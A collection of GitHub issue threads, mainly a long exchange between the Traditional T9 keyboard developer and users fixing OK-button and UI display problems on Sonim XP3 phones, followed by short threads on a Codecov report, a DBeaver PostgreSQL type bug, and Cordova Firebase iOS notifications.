Center OK Button Issues

Hey, I'm encountering an issue on the Sonim XP3plus where the center ok button doesn't work sometimes in the contacts app. The only time it consistently doesn't work is when I try to use the "add a contact" function from the text message app. It takes me to a window with a search field above a list of contacts, the top option of which being "create a contact". This is the window where the center button consistently doesn't work. It does work if I switch to the phone's native text input method. I know you didn't test this on every phone so there's bound to be bugs here an there on different devices but still thought I'd report it.

Some more info... Oddly, after toggling off the "send messages with OK in messenger", the center button seems to function in the contacts app only once, after that it doesn't work. Weird.

I don't quite get what's wrong, because you just say "it doesn't work", but I sounds really similar to this bug. If it is the same, it will be fixed in the next version. Or is it different?

Hey, I don't know if I have the know-how to be able to explain it beyond how I did in my first post, basically in a nutshell the center OK button on my flip phone doesn't work when a new number texts me and I try to add them as a new contact. From the text message thread I press a soft key and select "add new contact" from the popup list. That takes me to the contacts app with a button that says "add new contact", trying to press this with the OK button does nothing. Sorry I can't explain better but I could get screenshots if that might help. It's not the worst of inconveniences but it's just odd that it doesn't work right.
If I download your new release, will it carry over my user dictionary or will I have to start it from scratch?
Thanks as always.

hey just a bump for my question at the end of my above post, is there a way to save your user dictionary when you upgrade or do you have to start from scratch?

This is quite problematic at the moment. The upcoming version 27.0 will introduce major database changes, which will make it possible to protect the added words. It would even be possible to delete all languages, then reload them, but the words will remain safe. In the future, it would be possible to export them, as well.
However, the above comes at the cost of deleting absolutely all words when upgrading to v27.0.
But still, you may actually win more than you lose after the upgrade, depending on the language(s) you are using. Bulgarian, English, Romanian, Russian and Ukrainian will receive a major update including thousands of new words.
I realize many other languages lack rich dictionaries, but hopefully, with community contributions, it will get better over time.

I'm willing to start from scratch to get access to those new features. Sounds like v27 will be a huge leap. Looking forward to it and thanks for all your work! Will donate.

As I mentioned in the other issue, the new version is out. Please check it out and let me know if it fixes the problem.

I am using tt9 on a Sonim XP3800. The center button isn't working correctly in some apps. For example, in the calculator, the center button represents "equals", but it doesn't return the calculation result. In the music player, long-pressing the center button over a song doesn't open the menu. This issue occurs in some other apps as well.
Overall, I'm very excited with tt9, I'm only switching back to the original keyboard when I need a calculator, etc.
It would be great if there would be an easier way to switch keyboards back and forth.

It would be great if there would be an easier way to switch keyboards back and forth.

There is an easy way to switch from TT9 to another keyboard. See the manual. However, I am not sure if the Sonim native keyboard allows the same as easily.

I am using tt9 on a Sonim XP3800. The center button isn't working correctly in some apps. For example, in the calculator, the center button represents "equals", but it doesn't return the calculation result. In the music player, long-pressing the center button over a song doesn't open the menu. This issue occurs in some other apps as well.

I remember another problem with the calculator in this PR, but there seem to be many more problems on Sonim phones, than I thought. I've created a special file for application and device hacks compatibility options, so I can easily add more, but it's incredibly difficult to diagnose and fix them remotely.
Have you tried any other 3rd party keyboard, for example k9t9? If not and you are willing to help with debugging, please check it out. If the player and the calculator work properly, then there is something wrong with Traditional T9. I can then try to figure out how k9t9 handles OK and do the same. If it doesn't work either, it means the Sonim apps and keyboard are meant to work together and send some special signals to each other for improved usability. In this case, I'll have to guess what is going on and apply some hack.
As you probably understand, I can't promise much. I think I have an idea about a couple of experimental fixes, that I intend to release in the upcoming v29.0, so, again, if you are willing to help, follow this issue. I'll make an announcement and let you know how to enable them. Then you'll just have to tell me which one works, if it works.

I am using tt9 on a Sonim XP3800. The center button isn't working correctly in some apps. For example, in the calculator, the center button represents "equals", but it doesn't return the calculation result. In the music player, long-pressing the center button over a song doesn't open the menu. This issue occurs in some other apps as well.
Overall, I'm very excited with tt9, I'm only switching back to the original keyboard when I need a calculator, etc.
It would be great if there would be an easier way to switch keyboards back and forth.

I'm experiencing the same issues on the Sonim XP3plus. It's weird in the calculator, when you press enter, the "equals" function is executed when you press the "ok" button, it just displays a blank space. You can tell the equals function is executed because it shifts the equation up as it should when you press the ok button. As I stated in my original post, when in TT9 I can't add a phone number as a new contact from the text message app, it takes me to the "add a contact" screen, but I can't execute the function as pressing the "ok" button does nothing. To me it's not a huge deal, I just go into the TT9 app settings and switch to the native keypad then go back and execute the function I needed. This is a compromise I can live with.

Have you tried any other 3rd party keyboard, for example k9t9?

@sspanak, I am experiencing the same issues that @drol845 and @theancientways  are describing on the XP3plus (XP3900) with the calculator app and the contacts app (tt9 v28.0). I took your suggestion and installed k9t9. While k9t9 appears to have other issues with this phone (e.g. backspace/delete not working), it DOES allow the OK button to work properly both for the calculator and contacts app. So, it appears there IS potential that you can solve this issue?!

There is an easy way to switch from TT9 to another keyboard. See the manual. However, I am not sure if the Sonim native keyboard allows the same as easily.

The native keyboard does not give option for hotkey to access keyboard selection. You have made it easy to switch to another input method with the hotkey shortcut but must go through the Settings->System-Languages & Input -> On-screen keyboard -> Manage on-screen keyboards -> [toggle on / off ]  and then also go into tt9 from app menu -> Initial Setup - Select Default Keyboard to re-select tt9 as default to switch back to tt9.

I don't quite get what's wrong, because you just say "it doesn't work", but I sounds really similar to https://github.com/sspanak/tt9/pull/364. If it is the same, it will be fixed in the next version. Or is it different?

Here's my take at describing the Contacts problem: Say someone who I don't have in my contacts calls me and I want to add them to contacts. I can go to Phone -> Recent Calls -> select phone number of recent call. Then there is a soft-key option "Add to Contacts". This takes me to a screen with the alphabetical list of my contacts. At the top of the screen is a search field and I can type in that field to filter the contacts listed below and the OK button works correctly inside the search field. However, in this scenario, when the search field is empty, the first option below it is "Create new contact", followed by the alphabetical list of contacts. The text cursor is in the search field and the highlighted down-selection is "Create new contact" but the OK button does not work - does nothing - and it is not possible to execute the "create new contact" function. Furthermore, if I want to add the number to an existing contact, I would use the search field to filter the selection list and when I navigate using up/down keys to select desired contact, the OK button does not execute the function to add the number to that contact - the okay press does nothing.   Appears that the issue has something to do with the active search field where the OK button is trying to perform while one is trying to use it to select a down-list selection beneath the search field.

While k9t9 appears to have other issues with this phone (e.g. backspace/delete not working), it DOES allow the OK button to work properly both for the calculator and contacts app. So, it appears there IS potential that you can solve this issue?!

Yes, I think I know what is wrong. I just have to be careful not to cause the same on TCL Flip 2 (#182), or any of: #210, #309 (similar problem on another Sonim), or: #77, #51 (OK must submit forms properly, navigate to web pages in browsers and whatnot).
Notes to self: when any of DPAD_CENTER, ENTER or NUMPAD_ENTER is pressed, and the suggestions are hidden, and no app hack is applied, then return false.
Note to everyone: I can't provide a fix immediately, because the code is very unstable now. I'll have to complete v29.0 first. I've been thinking that v30.0 could be dedicated to fixing such device-specific problems anyway.

I am using tt9 on a Sonim XP3800. The center button isn't working correctly in some apps. For example, in the calculator, the center button represents "equals", but it doesn't return the calculation result. In the music player, long-pressing the center button over a song doesn't open the menu. This issue occurs in some other apps as well.
Overall, I'm very excited with tt9, I'm only switching back to the original keyboard when I need a calculator, etc.
It would be great if there would be an easier way to switch keyboards back and forth.

Hey I just found out if you go to the advanced panel the calculator displays the answer, then if you switch back to the basic panel, the answer gets displayed but not consistently. It's only consistently displayed in the advanced panel, so that's a way to still be able to use the calculator in on the XP3plus with TT9 enabled.

@drol845 , @theancientways , @asherGe , please try out v29.15. I have attempted to fix the problem there. Any feedback will be much appreciated.

Hi @sspanak,
Thanks so much for attempting this fix. I have v29.15 loaded on the Sonim
XP3 plus (xp3900). The issues persist with both the Calculator app and the
Contacts app.
In the Calculator app, when you press okay (=) it appears that an extra
line is being inserted and the answer to the calculation is scrolling up
off the visible screen.
In the Contacts app, when trying to add new contact, the OK button works in
the search field for tt9 text operations but does not work as an enter key
to add entered text as a new contact nor does it allow to select an
existing contact from drop down list of options matching the search. In the
second case where there are multiple options of existing contacts, the
first entry in the drop down list is highlighted initially as the
selection, up down arrow keys work to change selection, but okay key does
not enter the selection as the selected contact to add the phone number to.
Keep me posted on anything more I can do to help troubleshoot.
Thanks,
Asher
Asher Gelbart
Green Energy Now
@.***
575.574.7119
On Sat, Mar 30, 2024 at 1:45 AM Dimo Karaivanov @.***>
wrote:

@drol845 https://github.com/drol845 , @theancientways
https://github.com/theancientways , @asherGe
https://github.com/asherGe , please try out v29.15
https://github.com/sspanak/tt9/releases/download/v1.0-inital/tt9-v29.15.apk.
I have attempted to fix the problem there. Any feedback will be much
appreciated.
—
Reply to this email directly, view it on GitHub
https://github.com/sspanak/tt9/issues/393#issuecomment-2027956284, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/BGAWHIAFT7JF3ATRBL7O5ILY2ZNPBAVCNFSM6AAAAAA7LSG3ROVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDAMRXHE2TMMRYGQ
.
You are receiving this because you were mentioned.Message ID:
@.***>

No, not at this time. I thought I had it figured out, but I am still missing something. I'll give it a try later.

Hi @sspanak/tt9
@.***>
One other piece of info... the v29.15 mod also broke the display of entry
mode and suggestions at bottom of screen upon first push of okay button in
messaging text field. Instead of displaying the entry mode and suggestions,
it returned an extra line in the text field. I just reverted back to v29.0.
Thanks,
Asher

Asher Gelbart
Green Energy Now
@.***
575.574.7119
On Sat, Mar 30, 2024 at 1:46 PM Dimo Karaivanov @.***>
wrote:

No, not at this time. I thought I had it figured out, but I am still
missing something. I'll give it a try later.
—
Reply to this email directly, view it on GitHub
https://github.com/sspanak/tt9/issues/393#issuecomment-2028452956, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/BGAWHIHZC7LA3YGEXGEYP5TY24B7VAVCNFSM6AAAAAA7LSG3ROVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDAMRYGQ2TEOJVGY
.
You are receiving this because you were mentioned.Message ID:
@.***>

One other piece of info... the v29.15 mod also broke the display of entry
mode and suggestions at bottom of screen upon first push of okay button in
messaging text field. Instead of displaying the entry mode and suggestions,
it returned an extra line in the text field.

I've noticed this as well, but it happens only in Duolingo for me. I can test there and fix it.
But what happens if you just start typing? Won't the UI appear? In v29.0 I've tried to reduce the number of applications where pressing OK is mandatory. In most of them, it should be possible to make TT9 appear with any key from 0 to 9.

Hi @sspanak,
Unfortunately no, (in v29.0) in the messaging app the UI only appears if I
press OK when the text field is empty (says "Type message" in grey
letters). If I start typing the UI does not appear, but if I backspace to
delete the letters, once I've emptied the text field "Type message"
reappears, and then if I press OK, the UI shows up.
Asher Gelbart
Green Energy Now
@.***
575.574.7119
On Mon, Apr 1, 2024 at 7:34 AM Dimo Karaivanov @.***>
wrote:

One other piece of info... the v29.15 mod also broke the display of entry
mode and suggestions at bottom of screen upon first push of okay button in
messaging text field. Instead of displaying the entry mode and suggestions,
it returned an extra line in the text field.
I've noticed this as well, but it happens only in Duolingo for me. I can
test there and fix it.
But what happens if you just start typing? Won't the UI appear? In v29.0
I've tried to reduce the number of applications where pressing OK is
mandatory. In most of them, it should be possible to make TT9 appear with
any key from 0 to 9.
—
Reply to this email directly, view it on GitHub
https://github.com/sspanak/tt9/issues/393#issuecomment-2029767917, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/BGAWHIAGIWGTMCKH4TXD2MLY3FO6DAVCNFSM6AAAAAA7LSG3ROVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDAMRZG43DOOJRG4
.
You are receiving this because you were mentioned.Message ID:
@.***>

Hi @sspanak,
I noticed that in some of the native apps on the XP3plus the center top
soft key (between screen and up arrow key) is sometimes used for OK entry.
Here is an example (see attached screen shot). This is in the clock - alarm
app. The app uses left / right and up / down arrow keys to adjust the alarm
set time, the center OK button has no response, and OK is shown to use the
center soft key. Anyway, I understand that you are trying to make the
adjustments to the code to work universally across all phones and all apps,
so perhaps this is just extraneous info. Wondering if it may be possible
and helpful to assign an alternate key (such as the center soft key) the OK
operation when the normal OK press does not operate as intended?

Asher Gelbart
Green Energy Now
@.***
575.574.7119
On Mon, Apr 1, 2024 at 9:49 AM Asher Gelbart @.***> wrote:

Hi @sspanak,
Unfortunately no, (in v29.0) in the messaging app the UI only appears if I
press OK when the text field is empty (says "Type message" in grey
letters). If I start typing the UI does not appear, but if I backspace to
delete the letters, once I've emptied the text field "Type message"
reappears, and then if I press OK, the UI shows up.
Asher Gelbart
Green Energy Now
@.***
575.574.7119
On Mon, Apr 1, 2024 at 7:34 AM Dimo Karaivanov @.***>
wrote:

One other piece of info... the v29.15 mod also broke the display of entry
mode and suggestions at bottom of screen upon first push of okay button in
messaging text field. Instead of displaying the entry mode and
suggestions,
it returned an extra line in the text field.
I've noticed this as well, but it happens only in Duolingo for me. I can
test there and fix it.
But what happens if you just start typing? Won't the UI appear? In v29.0
I've tried to reduce the number of applications where pressing OK is
mandatory. In most of them, it should be possible to make TT9 appear with
any key from 0 to 9.
—
Reply to this email directly, view it on GitHub
https://github.com/sspanak/tt9/issues/393#issuecomment-2029767917, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/BGAWHIAGIWGTMCKH4TXD2MLY3FO6DAVCNFSM6AAAAAA7LSG3ROVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDAMRZG43DOOJRG4
.
You are receiving this because you were mentioned.Message ID:
@.***>

@asherGe The older model XP3 dosn't have these soft keys.

Here is an example (see attached screen shot)

Something has gone wrong with the attachments, I see none of them. Could you please try posting them again?

Anyway, I understand that you are trying to make the
adjustments to the code to work universally across all phones and all apps,
so perhaps this is just extraneous info.

Perhaps, perhaps not. It may help me understand better how the Sonim phone works.

Wondering if it may be possible
and helpful to assign an alternate key (such as the center soft key) the OK
operation when the normal OK press does not operate as intended?

I am thinking of this. But first, I would like to review and try to fix the OK key one more time. I was able to reproduce the incorrect behavior in Duolingo and the Qin messaging app. I may have made some incorrect assumptions about printing a new line vs performing some action.

Apologies, I was replying directly from e-mail which appears not as good as commenting from github. Here's the attachment

I see. This is similar to the Kyocera Digno problem, #423. This may or may not be fixed, I am not sure.
The good new is, thanks to your donations, I was able to buy an XP3800 and I believe I fixed all problems with the OK key! I didn't get what is wrong with the calculator, though. I works just fine for me. If you still think it isn't, would it be possible to record a video, so I can see it?
Please, try out the new v30.0 and let me know if anything is still broken. And have in mind, I have the non-plus version, meaning, support for the soft keys is questionable at this time.

Excellent! Thanks. The contacts and calculator issues with OK discussed above are now resolved with XP3900.
However, I can no longer get the suggestion list or input mode to appear at bottom of screen. Looks the same when I choose stealth mode or suggestion list only. In standard text messaging app, the tt9 input icon appears immediately when I select a text thread, but then I can't activate the UI with the press of the okay button as I was able to in all previous versions.
The tt9 input icon appears when I have text fields in Messaging and Contacts apps but not in the calculator or clock apps with number fields  (is it supposed to?).

Well, Stealth mode is... stealth, you will not see them. I guess, I should rename it to "Invisible".

the tt9 input icon appears immediately when I select a text thread, but then I can't activate the UI with the press of the okay button as I was able to in all previous versions.

You don't need to. If the icon has appeared, you can start typing right away and the UI will appear automatically. Activation using OK was a backup plan because sometimes the UI wouldn't show up at all. But I see what you mean. I think I can make a small improvement to recreate the old experience (well, as much as possible).

The tt9 input icon appears when I have text fields in Messaging and Contacts apps but not in the calculator or clock apps with number fields (is it supposed to?).

Yes, this is correct. The icon indicates when TT9 is in charge of typing. In some apps, such as dialers, calculators, and whatnot, it is best to let them type, because they have sort of a simple keyboard built inside of them. If the main Android keyboard also tries to produce text or numbers at the same time, it leads to double letters (or numbers). There is even a bug for this: #300. There is a short video attached in one of the last posts, where you can see double numbers appearing per a single key press.
By the way, there is no need to turn on the status icon on Sonim phones. It is there for Qin F21 Pro, which prohibits holding keys when there is no icon. As you can imagine, this effectively disables some of TT9's functions. But anyway, if you just like to know when an app has requested user input, and TT9 has acknowledged it can work together with the app, keep the icon, there is no harm.

I should clarify, the UI does not appear when I start typing…it acts like stealth mode in whichever mode I have selected. That is great if OK no longer needed to wake it up, but it isn’t appearing with initiation of typing.

In previous versions with this phone, UI would not initiate with typing. The only way to get the UI to display was to press OK while text field was empty. If I started typing, no UI, but if I backspaced to clear the text field and then pressed OK, it would appear and remain visible for the remainder of the text entry. In current version, I can’t get the UI to display at all.

I am not sure why isn't it working on your phone. The UI appears both on my XP3 and my other Android 10 and 11 phones.
Restoring the old behavior is not a good idea, but I've come up with an different way of showing the UI. If you are willing to install a beta version, here is v30.10 for you to test. After installing it, you will be able to show the UI like this:

Make absolutely sure, you have selected any of the 3 visible modes from Settings -> Appearance.
Start typing. Even one letter is enough.
If it stays hidden, press OK, while you are still composing a new word (while it is underlined) and the suggestion list should appear.

If it still doesn't want to, probably the standard procedure for Android 9+ is not the way to go on the XP3plus. I'll review the old code again and come up with an alternative solution.

Hi sspanak, again, thanks for your efforts here! Unfortunately this attempt (v30.10) did not work. Still can't get UI to appear. I can see the difference in behavior with OK between the three visible modes and the invisible mode, but UI won't appear. In the three visible modes, when I press OK while word is underlined, nothing happens and the word remains underlined. The 0 (space) key selects the word. In the invisible mode, the OK does the same operation as the space (0) key.

Unfortunately this attempt (v30.10) did not work. Still can't get UI to appear.

Alright, so far we have tried two ways of showing the main UI, two more remain. Here is an APK with the third possible way: v30.14. You can use the same technique: start typing, then press OK and this time it should appear. The fourth option seems really unlikely, so it must be this one.
I've tried enabling the show function when there is no text and one simply presses OK, but this causes unnecessary flash of the UI in applications with search fields, so I gave up the idea. I think pressing OK after starting to type is good enough.

thanks for your efforts here!

I must thank you for the patience and for being my right hand in solving this last problem. :slightly_smiling_face:

Okay, getting close! So the UI DOES appear now and stays active on the first press of OK while having typed at least one letter in the text field, but it also sends whatever has been typed as a completed message (which I think is unintended and a bit annoying?)...after that, once the UI has been activated, OK works as intended to select/approve underlined word and only sends the message when nothing is selected (i.e. on a second consecutive press of OK).

Alright, here is what I can do. I cannot prevent sending if there is text. However, I can make OK display the UI if there is no text (like before), but in that case, it will not send blank text. I wanted to keep that functionality for some apps that display all results when you search for nothing, but I guess this is not so important, neither really intuitive.

As promised, here is a new APK: v30.15. It allows showing the UI by pressing OK when there is no text and also some more small tweaks. Showing after starting to type is no longer possible to avoid accidental sending. Overall, it should be much more intuitive, I've tested both on Sonim XP3800 and on Qin F21 Pro+ and it is fine, "it just works". I really hope it is OK on the XP3900 too.

Yup! Excellent. It works on the XP3900 too!

v30.15 working pretty much flawlessly now on XP3900 in the native messaging app. There is one observation on the ADD Word (*-key) feature recently mentioned in the #495 thread. It now works when UI is activated but *-key-press is unresponsive when the UI is invisible (in one of the three visible modes prior to activation with OK press and in invisible mode).
So, one more OK button issue cropped up in the Contacts app with this latest version v30.15.  Curious if it replicates on the XP3800. If you search for a contact by typing in the search field, the downlist of filtered selections appears but the OK button no longer works to select the contact. If you leave the search field empty, you can scroll through all the unfiltered complete list of contacts and OK still works. I have well over 500 contacts on my phone so the ability to use the filter is essential to quickly finding a contact phone number.
Currently, the contacts app allows the UI to appear in certain circumstances but not in others. Pressing OK in the empty search field doesn't activate the UI, instead it selects the first contact in the down list.  If I choose to ADD a new contact and go to the first Name field and press OK, the UI activates.  The incompatibility issues appear to be occurring where there is an ambiguity between OK selecting from a downlist or making a tt9 OK entry in the search text field (empty or filtered).

Works as described for me (XP3900) in the messenger compose window and notes app. The interface shows by default in the URL field of the browser.
Small 3900 issues, not sure whether addressable:

In the compose interface for the messenger app, in the "To" field, pressing OK pulls up the UI and moves focus to the "Message" field.
In the Contacts app: context: the cursor is always present in the "Find contacts" field but a contact is also always highlighted in results window; navigating with up/down changes the selection in the results. The bug is that OK always selects the currently highlighted contact, and it's impossible to pull up the menu.
In the Phone app, pressing OK in the empty Search field moves focus from the Search field to the recent calls browser, and does not bring up the interface.

Just to add on to the fun, using v30.15, the OK button doesn't work in Signal's message input box at all. To select the current active completion, I have to type space and then back (delete). I'm not sure if Signal is one of those apps that eats the OK button for its own purposes (it seems to do nothing ever) or if this is something that tt9 should be able to handle.

v30.15 working pretty much flawlessly now on XP3900 in the native messaging app. There is one observation on the ADD Word (*-key) feature recently mentioned in the #495 thread. It now works when UI is activated but *-key-press is unresponsive when the UI is invisible (in one of the three visible modes prior to activation with OK press and in invisible mode).
So, one more OK button issue cropped up in the Contacts app with this latest version v30.15. Curious if it replicates on the XP3800. If you search for a contact by typing in the search field, the downlist of filtered selections appears but the OK button no longer works to select the contact. If you leave the search field empty, you can scroll through all the unfiltered complete list of contacts and OK still works. I have well over 500 contacts on my phone so the ability to use the filter is essential to quickly finding a contact phone number.
Currently, the contacts app allows the UI to appear in certain circumstances but not in others. Pressing OK in the empty search field doesn't activate the UI, instead it selects the first contact in the down list. If I choose to ADD a new contact and go to the first Name field and press OK, the UI activates. The incompatibility issues appear to be occurring where there is an ambiguity between OK selecting from a downlist or making a tt9 OK entry in the search text field (empty or filtered).

I have the same OK button not working in the contacts list after filtering issue on the XP3900.

For both of the above issues (OK button not working in Signal, OK button not working in Contacts), both apps work great in v30.0. Obviously the on-screen completions don't happen on that version, but otherwise everything seems great.

OK, here is an APK (v30.16), where you can select between the possible ways of displaying the UI. Anyone willing to keep testing, go to Settings, scroll down to the version info and click it to open the debugging settings. In there, look for "Show Window Mode". Try out the different modes and let me know of the results.
Some considerations:

The modes that do DPAD_CENTER emulation may send messages or perform some other action. Test them in a safe application or disable the SIM card.
The "auto-select" mode ought to work on all phones and it is the one I want to keep. Please try that one first.

There is one observation on the ADD Word (*-key) feature recently mentioned in the https://github.com/sspanak/tt9/issues/495 thread. It now works when UI is activated but *-key-press is unresponsive when the UI is invisible (in one of the three visible modes prior to activation with OK press and in invisible mode).

This is by design. Some keys are deliberately disabled when TT9 is hidden.

So, one more OK button issue cropped up in the Contacts app with this latest version v30.15. Curious if it replicates on the XP3800

Searching and selecting works fine. However, if I click a contact, then go back to the list, I can only type numbers. To be able to search normally again, I have to close the app and reopen it. This is not critical and is not a problem with the OK key, but with the entire application, so I'll check it out later.
@wazroth, @neutralinsomniac, I hope at least one of the Show Window modes will work properly and solve all the small problems. The Contacts app is an exception, but it should work fine most of the time, as I explained.

Alright here's the results for v30.16:
Messaging app:

Window Mode
Suggestions window shows on OK
Completions can be selected with OK
Message can send on OK

Auto select
:x:
:white_check_mark:
:white_check_mark:

Android 8 way
:x:
:white_check_mark:
:white_check_mark:

Android 9 way
:x:
:x:
:x:

DPAD_CENTER emulation
:white_check_mark:
:white_check_mark:
:white_check_mark:

Android 8 way + DPAD_CENTER emulation
:x:
:white_check_mark:
:white_check_mark:

Signal:

Window Mode
Suggestions window shows on OK
Completions can be selected with OK
Message can send on OK

Auto select
:x: (1)
:white_check_mark:
:white_check_mark:

Android 8 way
:x:
:white_check_mark:
:white_check_mark:

Android 9 way
:x:
:x:
:x:

DPAD_CENTER emulation
:x: (2)
:white_check_mark:
:white_check_mark:

Android 8 way + DPAD_CENTER emulation
:x: (1)
:white_check_mark:
:white_check_mark:

1: On initial OK, nothing happens, but on second and subsequent OK's, Signal says "Message is empty!" which suggests that tt9 tried to display itself but just couldn't for some reason. As a note, the stock 12-key keyboard is able to display suggestions while typing in Signal.
2: On initial OK and subsequent OKs, nothing happens.
I am curious now that I'm thinking about this, the stock 12-key keyboard displays its own suggestions window whenever you start typing (not needing to "wake up" the keyboard with a specific key like OK). Is that keyboard doing something different from what tt9 is attempting?

neutralinsomniac - great matrix! Too bad still compatibility issues with Signal (I don't use it myself).
DPAD_CENTER emulation so far appears to solve all the issues that I have experienced in Messaging App, Contacts App, and Calculator App (with XP3900). Everything works as expected and I can even get the UI to display when pressing OK from text entry field (other than search field) in the Contacts App and the Calendar App. This mode offers the best experience so far with the XP3900.
sspanak - you've mentioned for future releases the possibility of adding another option in the Compatibility options in Initial Setup. Adding this DPAD_CENTER emulation option there would allow tt9 to be maximally compatible with the XP3900 and still allow you to maintain "auto select" as the default.

Thank you very much for the cooperation!
Based on your feedback and more digging in the Android documentation, I've come up with two more ways of displaying the UI. Please, try v30.17. You can find two more "Show Window" options:

"Use CandidateView". I think this is what the native keyboard does. It feels a bit sluggish and it occasionally produces a 1px white bar under the suggestions list, but it works fine on the XP3800, including also solving all problems with the Contacts app. Also, it works reliably on the Qin F21 Pro.
"Android 9 (no flags)". According to the documentation this is the way to put as much pressure on Android to display the active keyboard. However, it does not work for me. You may want to try it out, just in case.

Note that, when switching to and from "CandidateView" mode, you may need to go to the home screen then reopen the Messages or Notes application, otherwise it may not switch correctly.

sspanak - you've mentioned for future releases the possibility of adding another option in the Compatibility options in Initial Setup. Adding this DPAD_CENTER emulation option there would allow tt9 to be maximally compatible with the XP3900 and still allow you to maintain "auto select" as the default.

I don't like the idea of emulating a key press. As noted above, depending on the application, it may have a side effect, like switching focus to something else or even attempting to send a message. I'll include it only if there is no other choice.

I am curious now that I'm thinking about this, the stock 12-key keyboard displays its own suggestions window whenever you start typing (not needing to "wake up" the keyboard with a specific key like OK). Is that keyboard doing something different from what tt9 is attempting?

Here are some technical details for your curiosity then.
If you can type, TT9 is awake, there is no real waking up. "Waking up" is just a more human-friendly expression for "displaying the main user interface".
The problem is I am not doing much but calling a function named "showWindow()" or "requestShowSelf()", depending on the Android version. Each of these is supposed to draw the keyboard on the screen and they work perfectly fine on all the devices I have, but apparently Sonim have modified the Android code in their newer phones and now none of the functions work. They may have introduced a third one, I don't know.
I've noticed some applications respond to the DPAD Center key and send requests to Android to show the keyboard. And the native applications know exactly what to do, so this works in Messages and Contacts, but it does not in Signal.

Alright so, Android 9 way (no flags), inset size 0, completions come up immediately when I start typing (no need to hit OK first) in both Signal and the stock messaging app, except I then can't select completions with OK. UseCandidatesView still doesn't show completions in any app. The strings to match this phone are "Sonimtech" "XP3900".

Agree, Can't get UI to appear in CandidateView with any of the Inset sizes. Android 9 way does make the UI appear without pressing OK with first key press in Messaging and Contacts app, but OK doesn't work for selecting underlined text or selecting downlist items in Contacts.
I wonder if Antdroid 9 + DPAD_CENTER is yet another option that may do the trick?
The only mode that works acceptably well is DPAD_CENTER emulation.

At last, some good news!
Selecting the suggestions wasn't working, because the code for the OK key became a mess. But it doesn't matter, I've cleaned it up and included it in the next release train.
Here is v30.30. It should work out-of-the-box. If it doesn't, just make sure the "Always on Top" option in Settings -> Appearance (at the bottom) is on. This is in case the XP3900 wasn't detected properly.
As a bonus, you get an early preview of the new stuff that is coming out soon.

Works flawlessly over here. Thank you so much for your dedication and attention to detail with this keyboard. It makes using my flip phone an absolute dream.

Fantastico! Great work. Congrats on the breakthrough and thanks for your perseverance!  Sonim should make tt9 the default keyboard and compensate you with hefty sum!

Works flawlessly over here. Thank you so much for your dedication and attention to detail with this keyboard. It makes using my flip phone an absolute dream.

Fantastico! Great work. Congrats on the breakthrough and thanks for your perseverance!

I couldn't have done it myself. I must thank you for cooperating, it was truly enjoyable teamwork!

Sonim should make tt9 the default keyboard and compensate you with hefty sum!

I wouldn't oppose that. 😛 And, I am open to collaboration with anyone. My philosophy is everyone is welcome to help in makeing Traditional T9 the best keyboard.

So far 30.30 is working a treat for me on my xp3900. Thanks for the hard work! Will update if I notice anything funny about OK behavior.

With the new version just around the corner, I think it is time to finally close this issue. I believe all discussed problems are solved.
Again, thank you all for testing and for throwing ideas around, eventually leading to fixing all bugs. I couldn't have done it on my own.


Add global tag exclude_input as part of notebook-metadata

Close #30

Codecov Report

Merging #41 into master will increase coverage by 0.10%.
The diff coverage is 100.00%.

@@            Coverage Diff             @@
##           master      #41      +/-   ##
==========================================
+ Coverage   98.04%   98.15%   +0.10%
==========================================
  Files           5        5
  Lines         256      271      +15
==========================================
+ Hits          251      266      +15
  Misses          5        5

Impacted Files
Coverage Δ

jupyter_docx_bundler/converters.py
95.34% <100.00%> (+0.34%)
:arrow_up:

jupyter_docx_bundler/tests/conftest.py
99.02% <100.00%> (ø)

jupyter_docx_bundler/tests/test_converters.py
100.00% <100.00%> (ø)

jupyter_docx_bundler/tests/test_bundler.py
100.00% <0.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 402dfe5...77460db. Read the comment docs.


Inconsistent behaviour with custom data types (omit schema) in PostgreSQL

Operating system (distribution) and version: Ubuntu 18.04
DBeaver version: 6.2.1
Java version: 11
Additional extensions: none

Connection specification:

Database name and version: PostgreSQL 11.5
Driver name: PostgreSQL JDBC Driver
Do you use tunnels or proxies (SSH, SOCKS, etc): no

Describe the problem you're observing:
Data types within schemes incorrect behaviour
Steps to reproduce, if exist:
I try to rename function via F2, type new name, press Enter. Window with SQL command appear and the command is, e.g.:
ALTER FUNCTION vme.p_calc_stats_countries(d_bool, d_period_decade) RENAME TO p_calc_stats_countries_old;
This command fails, but when I manually run command with "schemed" types, all is ok - e.g. vme.d_bool,vme.d_period_decade.
The second bug is - when I editing table fields I see "unschemed" types too, and the combobox for select data type does not contain any custom type (both "schemed" and not). Typing manually solves the problem (but does not allow to type with scheme - only without, and only current scheme will be used thus data types could reside in different).

tst_bug.zip
Try to rename or drop function s3.f_test2 and you should get error. Whilst f_test1 will be renamed successfully.
Try to edit table s3t1 and add new field. Custom types does not present in dropdown list. When typing them manually they are picked from that scheme, where it could be found, but e.g. that type d_int exists both in s1 and s2 schemes (it was chosen from first in result script).

Hi @uslss! Have database backup helped to reproduce?

Hi @plotn ,
thanks a lot! It was very helpful :)

Fixed

verified


how to catch notifications in ios ?

The wiki shows onNotificationOpen (Android only)
does this means there is no provision to catch notifications in ios ?

the ios side needs implementation. I'll take a pr if you want to have a go

made a first pass on this.
you can install the plugin from github master to test it.
<plugin name="cordova-plugin-firebase" spec="https://github.com/arnesson/cordova-plugin-firebase" />

Hi Robert,
I just tried the onNotificationOpen-Method on my iPad, unfortunately it doesn't seem to work. I removed the plugin, installed it via plugin tag in config.xml (see above). Added the following after getInstanceId:
window.FirebasePlugin.onNotificationOpen(function(success){console.log(success);},function(error){console.log(error);}
If I have the app active (foreground), nothing happends during push, if the app is in background, i get the standard ios notification, tap on it, app opens, but the onNotificationOpen is never called :-(.
I really like your plugin, but I can only use it with this functionallity. How can I help you?
The other firebase plugin cordova-plugin-fcm  implements the onNotification-Method very well, maybe you could have a look at its implementation :-).
Thanks for your work @robertarnesson!
Ben

